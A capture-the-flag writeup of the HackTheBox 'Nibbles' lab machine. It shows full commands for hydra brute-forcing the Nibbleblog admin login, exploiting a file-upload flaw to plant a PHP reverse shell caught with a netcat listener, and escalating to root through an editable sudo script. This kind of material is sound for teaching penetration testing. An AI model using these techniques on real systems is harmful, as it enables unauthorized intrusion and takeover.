Thumbnail: gravatar

HTB 'Nibbles' Writeup

by on under writeups
22 minute read

Nibbles HackTheBox Writeup


    Host Information  
Hostname IP Address Operating System Difficulty Level
Nibbles Linux Easy


view all writeups here





Again, we’ll start with an nmap scan of the system:

root@kali:/writeups/HTB/nibbles/enumeration# nmap -sC -sV -p- -O -oA nibbles
Starting Nmap 7.80 ( ) at 2020-01-18 14:09 CST
Nmap scan report for
Host is up (0.042s latency).
Not shown: 65533 closed ports
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 53.23 seconds

OK, so looks like both SSH (on stardard port 22) and Apache (on starndard port 80) are open. As expected, it’s a Linux system, looks like Ubuntu. Since we don’t have creds for SSH obviously, http will be our first stop. I imagine after we find something in the apache site, or gain foothold with it somehow, we’ll either get an ssh key or credentials.

Let’s go ahead and check out what’s being served:

checking out http / dirb

Let’s begin with the obvious dirb scan to discover what pages might be served by apache.

root@kali:/writeups/HTB/nibbles/enumeration# dirb -o nibbles_dirb.txt

DIRB v2.22    
By The Dark Raver

OUTPUT_FILE: nibbles_dirb.txt
START_TIME: Sat Jan 18 14:22:26 2020
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


GENERATED WORDS: 4612                                                          

---- Scanning URL: ----
+ (CODE:200|SIZE:93)                                   
+ (CODE:403|SIZE:299)                               
END_TIME: Sat Jan 18 14:25:49 2020

OK, seems like pretty minimal pages hosted. If we need to, we can run the large wordlist at it, but let’s continue on for now. Going to the URL in the browser, the main/index page we are directed to just appears to be a blank white page with text saying “Hello World!”. Let’s view the source and see if there’s anything:

<b>Hello world!</b>

<!-- /nibbleblog/ directory. Nothing interesting here! -->

Nothing interesting, you say? Let’s check it out. nibbleblog rightly wouldn’t have been picked up by a dirb wordlist, so this highlights the importance of always doing some manual recon as well as automated - tools won’t often catch everything.


Nibbles blog main page

Great, so it looks like a blog site is there. Looks pretty plain/sparse, but let’s poke around and see if we can leverage this to gain a foothold. Two potential methods come to mind immediately, but there are others, and what we can actually do depends on the setup of the site, obviously. Off the top of my head, I’m wondering if:

  • there’s either a capability to upload a file (which we could create to contain a reverse tcp payload via msfvenom)

  • Somewhere on the site there’s a hint to an SSH login

Let’s dig more into the site to see if either of these ideas have merit, or if we can find something else. Checking around the site from what’s visible, there doesn’t seem be any file upload capability apparent right away.

Let’s go ahead and run another dirb under the nibbleblog URI, just to see if anything may be present that’s not obvious or linked from the main blog page:

root@kali:/writeups/HTB/nibbles/enumeration# dirb /usr/share/wordlists/dirb/big.txt -o nibbles_blog_dirb.txt

DIRB v2.22    
By The Dark Raver

OUTPUT_FILE: nibbles_blog_dirb.txt
START_TIME: Sat Jan 18 15:25:16 2020
WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt


GENERATED WORDS: 20458                                                         

---- Scanning URL: ----
+ (CODE:200|SIZE:4628)                          
==> DIRECTORY:                                  
==> DIRECTORY:                                
==> DIRECTORY:                              
==> DIRECTORY:                                
==> DIRECTORY:                                 
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
END_TIME: Sat Jan 18 15:40:26 2020

Interesting, so there’s some potentially good places to poke around including admin and plugins. Let’s start with admin.

Index of /nibbleblog/admin

[ICO]	Name	Last modified	Size	Description

[PARENTDIR]	Parent Directory	 	- 	 

[DIR]	ajax/	2017-12-10 23:27 	- 	 
[DIR]	boot/	2017-12-10 23:27 	- 	 
[DIR]	controllers/	2017-12-10 23:27 	- 	 
[DIR]	js/	2017-12-10 23:27 	- 	 
[DIR]	kernel/	2017-12-10 23:27 	- 	 
[DIR]	templates/	2017-12-10 23:27 	- 	 
[DIR]	views/	2017-12-10 23:27 	- 	 

Apache/2.4.18 (Ubuntu) Server at Port 80

OK, interesting. And on the /plugins URI we have:

Index of /nibbleblog/plugins

[ICO]	Name	Last modified	Size	Description

[PARENTDIR]	Parent Directory	 	- 	 

[DIR]	about/	2013-11-05 21:23 	- 	 
[DIR]	analytics/	2013-11-05 21:23 	- 	 
[DIR]	categories/	2013-11-04 15:42 	- 	 
[DIR]	hello/	2013-11-04 20:03 	- 	 
[DIR]	html_code/	2013-11-05 21:23 	- 	 
[DIR]	latest_posts/	2014-01-20 14:17 	- 	 
[DIR]	maintenance_mode/	2013-11-05 21:24 	- 	 
[DIR]	my_image/	2013-11-05 21:24 	- 	 
[DIR]	open_graph/	2014-02-25 14:10 	- 	 
[DIR]	pages/	2014-01-23 21:53 	- 	 
[DIR]	quick_links/	2013-11-01 14:23 	- 	 
[DIR]	slogan/	2013-11-01 14:23 	- 	 
[DIR]	sponsors/	2013-11-05 21:24 	- 	 
[DIR]	tag_cloud/	2014-02-25 14:10 	- 	 
[DIR]	twitter_cards/	2013-11-05 20:47 	- 	 

Apache/2.4.18 (Ubuntu) Server at Port 80

Looks like content supporting the site, and nothing seems like an obvious clue or breadcrumb, offhand.

Let’s take a step back to a simpler route (which I probably shold have done earlier.) We can come back to some of these script files later if we need to, it’s possible that they could be abused to gain access, and I don’t see an obvious file upload capability at the moment. However, seeing as this is an easy box, it’s likely a little more straighforward.


Attempt at Apache Exploitation

Recall that our inital nmap scan, as well as the page direcotry listings under /nibbleblog we just viewed above, seem to identify the webserver: Apache httpd 2.4.18 ((Ubuntu)).

Let’s check searchsploit and see if there are any workable exploits for Apache 2.4.18:

Searching initially for httpd 2.4.18 and apache 2.4.18 yielded no results, but searching for apache 2.4 gives a few results back. From the list, an applicable vulnerability appears to be 42745, at least based on the versions of apache stated as vulnerable by the exploit.

We can quickly reiew the source code:

root@kali:/writeups/HTB/nibbles/exploits# searchsploit -x exploits/linux/webapps/
  Exploit: Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak
     Path: /usr/share/exploitdb/exploits/linux/webapps/

This gives us 2 great pieces of information: this script is written in python3, and a CVE number: CVE-2017-9798. CVE information here. Based on reading the notes for the CVE, looks like the host is potentially vulnerable to this exploit, but not sure if it would provide a foothold or path to privesc. Let’s go ahead and see what happens.

Let’s download the exploit locally and check the options:

root@kali:/writeups/HTB/nibbles/exploits# searchsploit -m exploits/linux/webapps/
  Exploit: Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak
     Path: /usr/share/exploitdb/exploits/linux/webapps/
File Type: Python script, UTF-8 Unicode text executable, with CRLF line terminators

Copied to: /writeups/HTB/nibbles/exploits/

root@kali:/writeups/HTB/nibbles/exploits# python3 
usage: [-h] [-n N] [-a] [-u] hosttocheck error: the following arguments are required: hosttocheck

Running the exploit, it looks like the host is probably not vulnerable. Below is the results against the URI, then the explanation of the return values from the script:

root@kali:/writeups/HTB/nibbles/exploits# python3 -a -u

         "Explanation of results:\n"
         "[bleed] corrupted header found, vulnerable\n"
         "[empty] empty allow header, does not make sense\n"
         "[spaces] space-separated method list (should be comma-separated)\n"
         "[duplicates] duplicates in list (may be apache bug 61207)\n"
         "[ok] normal list found (only shown with -a/--all)\n",

OK, let’s move on and try something else


Second Exploitation Attempt on http

After a quick search, I discovered that NibbleBlog was actually an app/platform, not just the name of this particular blog. (Perhaps I could have found that out earlier by looking at some of the data we pulled during recon.) Great, armed with this knowledge we might be able to actually make some forward progress. It appears that nibbleblog has an admin.php page, based some very cursory reading (such as here) on how the platform is setup. It appears to be located at>. At this point I realized potentially a smarter move would have been to tell dirb to search also with common extensions (such as .php) in the initial scan, but hindisght is 20/20.

Going to the admin.php page yields an authentication prompt. Let’s see if we can dig up some default credentials for nibbleblog, or, if we need to, we can try to use hydra. Doing a quick search for nibbleblog default creds doesn’t seem to turn up anything obvious, seems you set a custom username and password upon install.

Trying to use hydra to gain access to admin console


hydra setup

Hydra it is, then. Doing a quick test using the FireFox developer tools “Inspect Element” option should tell us what kind of HTTP verb/request the login page uses. I’ll type in some credentials (doesn’t matter if they’re correct), and go the network tab on FireFox’s Inspect Element browser on the bottom. Upon hitting submit on the admin authentication window, I notice when the page takes the auth requests, a POST request shows for the admin.php resource. Great, so authentication requests are sent via HTTP POST. (See image below.) We’ll need to know this to pass to Hydra.

observing the HTTP POST login request


The other thing we need to know is what the login field names are on the page. It’s a fair guess that ‘Username’ and ‘Password’ would be it, but what is a textbox label or placeholder text is not always the name of the object (in this case the two textboxes.) If we provided the incorrect values, Hydra would not work properly, so we need to be sure. Once again, we should be able to use FireFox’s Inspect Element tool. Clicking on the POST request we saw earlier will bring up a new column on the right. If we go to the ‘Parameters’ tab, we can see the values for ‘Form Data,’ which is what we want. On that tab, we can see both the field names and the values we provided to them. (See below image.) Sure enough, they’re ‘username’ and ‘password.’ OK, at least now we’re sure. As a quick note, we could also find the same information using Burp Suite, either would have worked.

viewing the admin page login fields


OK, so let’s build our hydra command. We’re essentially telling hyra a few things: the page/URI to attack, the names of the fields to put values in, the type of HTTP request that the login page relies on, and a piece of text that will either be indicative of a correct or incorrect response (so it knows to keep trying permutations, or to stop). Luckily we got that last part from the page itself when attempting the creds admin/admin - “Incorrect username or password” should work just fine. There’s a lot of great info on the hydra manual page (man hydra), and I would highly recommend looking through it; the hydra syntax can be awkward and a bit different at times.

Essentially the hydra syntax needs to look something like this:

hydra -s 80 -V -L <username_list> -P <password_list> -o /writeups/HTB/nibbles/enumeration/hydra_nibble_admin.txt http-post-form "/:username=^USER^&password=^PASS^&:Incorrect username or password."

This is telling hydra to connect on port 80 to the IP given, try the usernames and passwords specified in the lists given, write the output to the file specified, and use verbose mode. As mentioned just earlier, we are telling hydra that the login form uses the HTTP POST method to pass information, the field names, and what an indicator of an incorrect login is (so it knows to go to the next try.)

defining wordlists

As far as the usernames and passwords go, I’m going to give the following a shot: the unix_users.txt wordlist for users, and you could use rockyou.txt for the password list. Both can be found within /usr/share/wordlists under kali. rockyou.txt ships as a compressed .gz file, so should be extracted with gunzip rockyou.txt.gz if you want to use it.

Note that this may take awhile due to the size of the wordlists. This being an easy HTB, I doubt they’d want you spending hours upon hours trying to brute force a login. Because of this, I’m going to arrange what I think are more likely username candidates first (move admin type usernames to the top of the list, and move some of the more obscure ones lower) in case hydra works from the top down on the lists it’s given. I’m also going to add variations of “nibbles” to the username list, just in case.

Instead of starting out with rockyou.txt like iniitally mentioned, i’m going to pick a smaller password list to start, just so it doesn’t take forever. If that doesn’t work, i’ll pick up rockyou.txt. I’ll use the http_default_pass.txt wordlist that exists in kali and add a few things to it to try first. I’ll scrape the words off the main nibbleblog page to add some additional potential passwords to the http_default_pass.txt wordlist

Ultimately, it’s up to you how you want to configure your own hydra sesion though.

So to setup the wordlist like I plan to, we can run the following:

root@kali:/usr/share/wordlists/metasploit# cp http_default_pass.txt /usr/share/wordlistsx`/blog_adminpage_passwords.txt

root@kali:/usr/share/wordlists/metasploit# cd .. && wget
--2020-01-18 22:34:37--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 2987 (2.9K) [text/html]
Saving to: ‘index.html’

index.html            100%[=======================>]   2.92K  --.-KB/s    in 0s      

2020-01-18 22:34:37 (140 MB/s) - ‘index.html’ saved [2987/2987]

root@kali:/usr/share/wordlists# cat index.html | tr -s ' ' '\n' > nibbleblog_words.txt
root@kali:/usr/share/wordlists# rm index.html 

root@kali:/usr/share/wordlists# cat nibbleblog_words.txt >> blog_adminpage_passwords.txt 

vim blog_adminpage_password.txt #for some cleanup

Admittedly, this method requires a fair bit of cleanup, and i’m sure there are some scripts to do a similar technique more elegantly.

However, after some cleanup, and making sure variants of nibble, blog, post, admin, and root exist in the list (seems like potentially likely candidates), we get something like this:

root@kali:/usr/share/wordlists# cat blog_adminpage_passwords.txt 

So we end up running:

root@kali:/writeups/HTB/nibbles# hydra -s 80 -V -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/blog_adminpage_passwords.txt -o /writeups/HTB/nibbles/enumeration/hydra_nibble_admin.txt http-post-form "/:username=^USER^&password=^PASS^&:Incorrect username or password."


a few roadblocks

This actually fails in an interesting way, returning:

1 of 1 target successfully completed, 1861 valid passwords found

So hydra failed to see the failure text we provided ealier, as it’s seeing every attempt as a successful login.

Some quick searching (reference here) on the net revealed that some who have run into this problem had to include a PHP session ID cookie as well, so let’s go ahead and try that. This can be found in the manner we found the POST request earlier, under Inspect Element in FireFox, only this time, under the “Storage” tab. This reveals my PHP session ID to be: PHPSESSID:"il5uftu6ic07h6r3i8h87dn6c6"

Let’s go ahead and pass this to hydra:

hydra -s 80 -V -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/blog_adminpage_passwords.txt -o /writeups/HTB/nibbles/enumeration/hydra_nibble_admin.txt http-post-form "/:username=^USER^&password=^PASS^&:Incorrect username or password.:PHPSESSID=il5uftu6ic07h6r3i8h87dn6c6"

However, again, we hit a snag. It seems that there is either some rate limiting, or a blacklist module installed on the site. Our hydra session seems to time out. Again, some quick searching, and reviewing the files we found from the site in our initial recon seems to confirm that there is indeed a capability for some login attampt blacklisting. That’s good, from a configuration/defence perspective. Not so great for us, though.

It’s likely possible that we can rate-limit hydra into guessing slower, but it’s hard to say with limited visiblity how the login blacklist function works. Let’s try to manually guess a few on the webpage and see if we have any luck.

Great, so we’re not completely locked out; after a couple of manual attempts, it appears that username: admin / password: nibbles worked. So it’s great they implemented some login blacklisting feature, but still, not the most secure credentials.

Well, at least that’s progress, let’s press on.


finally, a foothold

After login in to the admin page, it seems we’re directed to the URI Let’s take a quick look around.

It seems we could make a post from the admin page (with the URI


Can we leverage this to include some potentially malicious php file, or some kind of a reverse shell, like we discussed initially? A quick search reveals probably so, or a similar method

root@kali:/writeups/HTB/nibbles/exploits# searchsploit nibbleblog
-------------------------------------------- ----------------------------------------
 Exploit Title                              |  Path
                                            | (/usr/share/exploitdb/)
-------------------------------------------- ----------------------------------------
Nibbleblog 3 - Multiple SQL Injections      | exploits/php/webapps/35865.txt
Nibbleblog 4.0.3 - Arbitrary File Upload (M | exploits/php/remote/38489.rb
-------------------------------------------- ----------------------------------------
Shellcodes: No Result

A quick check of the main admin page reveals that the Nibbleblog version number at the bottom of the page:


Nibbleblog 4.0.3 "Coffee"

OK, so the arbitrary file upload vulnerability might work. Let’s check it out. Looks like it’s a ruby file made for metasploit. Well, we’re trying not to use metasploit. Searching the code gives a good reference URL for the exploit (the link in the exploit seems to 404 - here’s the correct one)

It appears that with admin creds, we can activate the “My Image” plugin, and upload a PHP shell from there. Let’s give it a whirl.

Per the PoC, we can activate the plugin with the following URI: http:\/nibbleblog/admin.php?controller=plugins&action=install&plugin=my_image</code>

Well, lucky us, look like’s it already installed. Let’s proceed:

We can generate a php reverse shell with msfvenom. The PoC seems to call it image.php, so let’s go with that. Having used php shells created by msfvenom, they’re not always the most stable - let’s use an excellent one by PentestMonkey which can be found here. Just paste that into a file in our exploits folder called impage.php, and change the local iP to our VPN IP, and the port, if you want. Here I’ll use 43110.

Great, now that the payload is created, first, let’s start our local listener, then let’s upload the php file.

Start the listener on kali with nc -lnvp 43110.

Once we upload the file from the admin dashboard, as the PoC website mentioned, there are a few errors, these should be able to be ignored.


gaining a user shell

Now let’s browse to and hope we catch a shell.  

As is common with webshells, the target webserve will just appear to be perpetually loading a page; if we check back on our listener terminal,we get a callback:

root@kali:/writeups/HTB/nibbles/exploits# nc -lnvp 43110
listening on [any] 43110 ...
connect to [] from (UNKNOWN) [] 56160
Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 04:00:58 up 33 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
/bin/sh: 0: can't access tty; job control turned off

Finally, we have a foothold! Let’s do some initial poking around, like we have on prior boxes. First we’ll check the user we’re running as, then if python is available, upgrade our shell:

$ whoami
$ which python
$ which python3

OK, let’s go ahead adn try to upgrade our shell with /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'

Awesome, that worked.

$ /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'

Get’s go ahead and see if we can grab the flag:

nibbler@Nibbles:/$ pwd
nibbler@Nibbles:/$ cd /home/nibbler
cd /home/nibbler
nibbler@Nibbles:/home/nibbler$ ls -ltr
ls -ltr
total 12
drwxr-xr-x 3 nibbler nibbler 4096 Dec 10  2017 personal
-r-------- 1 nibbler nibbler 1855 Dec 10  2017
-r-------- 1 nibbler nibbler   33 Dec 10  2017 user.txt
nibbler@Nibbles:/home/nibbler$ cat user.txt
<get your own flag ;)>


enumeration for Privilege Ecsalation

One of the first (and best) things to check for privilege escalation reveals something interesting:

sudo -l
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/

Interesting. If you noticed, there was a ‘’ file in nibbler’s home directory. Let’s see if we can extract it:

nibbler@Nibbles:/home/nibbler$ which unzip
nibbler@Nibbles:/home/nibbler$ unzip
   creating: personal/
   creating: personal/stuff/
  inflating: personal/stuff/  

nibbler@Nibbles:/home/nibbler$ cd personal
nibbler@Nibbles:/home/nibbler$ ls
nibbler@Nibbles:/home/nibbler$ cd stuff
nibbler@Nibbles:/home/nibbler$ ls

abusing permissions to gain root shell

OK, now let’s see if we can check out the script. We’ll probably need to edit this and run it as root to get our root shell.

I’m not going to paste the contents due to length, but it looks innocuous enough. But if we can edit this, we can also have it spawn a reverse tcp shell. Since it’d be running as root via sudo, the new shell spawned should be root.

Let’s confirm we can edit the shell script:

nibbler@Nibbles:/home/nibbler$ ls -ltr
total 4
-rwxrwxrwx 1 nibbler nibbler 4015 May  8  2015

Awesome, looks like we can.

Let’s go ahead and remove anything we don’t need from, and just have it run bash. So, after edits, should look simply like this:

bash -i

Looks like it already has execute permissions, so let’s try running the script with sudo ./

After a moment, it looks like our shell is upgraded; we got root!

$ sudo ./
sudo: unable to resolve host Nibbles: Connection timed out
bash: cannot set terminal process group (1329): Inappropriate ioctl for device
bash: no job control in this shell

From here you can grab the root flag in /root/root.txt. All done.



Thanks for hanging in there, that’s all for this one. Until next time,



hackthebox, HTB, writeups, walkthrough, hacking, pentest, OSCP prep
comments powered by Disqus